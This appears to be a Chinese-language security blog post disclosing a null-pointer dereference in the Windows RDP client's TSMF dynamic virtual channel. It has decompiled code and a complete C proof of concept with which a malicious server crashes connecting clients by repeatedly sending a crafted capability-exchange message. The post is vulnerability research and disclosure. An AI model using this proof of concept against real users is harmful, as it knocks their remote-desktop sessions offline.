(Image: ©Microsoft)
这篇文章内容是八月初在探索 Windows 远程桌面客户端时发现的一个空指针引用漏洞,微软回应表示不会修复这个漏洞,遂拿来水个文 😇
RDP Protocol intro
RDP(Remote Desktop Protocol),是微软设计通过网络控制远程计算机的协议,可传递的内容包括图形、音频、键盘鼠标输入等等等等
协议的实现往往枯燥而复杂,这里不会对协议实现细节长篇大论,微软提供了较为完整的协议文档可供读者参考。
Virtual Channel
Virtual Channel 是RDP协议中的一个抽象层,用于各类传输数据。
通过virtual channel,RDP实现了增强会话功能(剪切板复制粘贴、文件传输、打印机重定向 etc.)
其内部实现提供并管理多个virtual channel,分别对应不同的功能
在 client-side,Windows 提供了 WTS API 来操作 Virtual channel
virtual channel 又分为两种:
static
dynamic
静态通道主要有以下几个
RDPSND: 音频重定向
CLIPRDR: 剪切板重定向
RDPDR: 设备重定向
DRDYNVC: 动态通道支持
相应的,简单列几个动态通道
TSMF 视频重定向
PNPDR 即插即用设备重定向
不同类型的通道对应不同的处理函数,在动态通道中,client通过
CDynVCChannel::HandleAsyncCall
分发动态通道接受到的消息。函数名对应规则*::OnDataReceived
指代不同通道对应的处理函数Hole
漏洞发生在 tsmf 通道 client 与server 交换接口能力的函数
CRIMObjManager::ExchangeCapabilities
上for ( InterfaceId = 0; InterfaceId < this->Reserved0.cbOffset; ++InterfaceId )// 3
{
memset(&ObjEntryHandler, 0, 0x18);
if ( InterfaceId != this->Reserved20 // 2
&& (unsigned int)DynArray<CRIMObjManager::CObjectEntry,unsigned long>::GetAt(
&this->Reserved0,
InterfaceId,
(__int64)&ObjEntryHandler) )
{
memset(&v12, 0, 0x18);
if ( ObjEntryHandler.m_RIMStub )
{
v8 = InterfaceId;
LODWORD(v8) = InterfaceId | STREAM_ID_STUB;
_guard_xfg_dispatch_icall_fptr(ObjEntryHandler.m_RIMStub, v8);
ObjEntryHandler.m_RIMStream->NetworkId |= STREAM_ID_STUB;
Offset = 0x20i64;
}
else
{
ObjEntryHandler.m_RIMStream->NetworkId |= STREAM_ID_PROXY;
Offset = 0x30i64;
}
v10 = DynArray<CRIMObjManager::CObjectEntry,unsigned long>::AddAt(
(DynArray<CRIMObjManager>::CObjectEntry *)((char *)this + Offset),
InterfaceId,
(__int64)&ObjEntryHandler);
DynArray<CRIMObjManager::CObjectEntry,unsigned long>::AddAt(&this->Reserved0, InterfaceId, (__int64)&v12); // clean
if ( !v10 )
v6 = E_OUTOFMEMORY;
CRIMObjManager::CObjectEntry::~CObjectEntry(&v12);
}
CRIMObjManager::CObjectEntry::~CObjectEntry(&ObjEntryHandler);
}
乍一看没什么问题,但实际上问题出在这个函数执行后会对
this->Reserved0
上对应CRIMObjManager::CObjectEntry
置空。当我们再次发送相同的命令,
DynArray<CRIMObjManager::CObjectEntry,unsigned long>::GetAt
获取到了空结构体,导致在对 ObjEntryHandler.m_RIMStream
解引用时得到了null,导致程序崩溃影响
当用户连接到一台恶意的远程主机上时,远程主机可向其发送特定消息引发用户端程序崩溃
POC
#include<Windows.h>
#include<wtsapi32.h>
#pragma comment(lib,"wtsapi32.lib")
int trigger(HANDLE TargetHandle) {
DWORD NumberOfBytesWritten = 0;
const char Buffer[0x11] = "\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";
WriteFile(TargetHandle, &Buffer, 0x10, &NumberOfBytesWritten, 0);
return NumberOfBytesWritten;
}
int main() {
PVOID ppBuffer;
DWORD pBytesReturned;
HANDLE hChannelHandle;
HANDLE TargetHandle;
HANDLE vcFileHandle;
hChannelHandle = WTSVirtualChannelOpenEx(0xFFFFFFFF, LPSTR("TSMF"), 1);
if (!hChannelHandle) return 0;
WTSVirtualChannelQuery(hChannelHandle, WTS_VIRTUAL_CLASS(1), &ppBuffer, &pBytesReturned);
memcpy(&vcFileHandle, ppBuffer, sizeof(vcFileHandle));
if (!DuplicateHandle(GetCurrentProcess(), vcFileHandle, GetCurrentProcess(), &TargetHandle, NULL, NULL, 2)) return 0;
if (ppBuffer) WTSFreeMemory(ppBuffer);
if (hChannelHandle) WTSVirtualChannelClose(hChannelHandle);
while(1) {
trigger(TargetHandle);
}
return 0;
}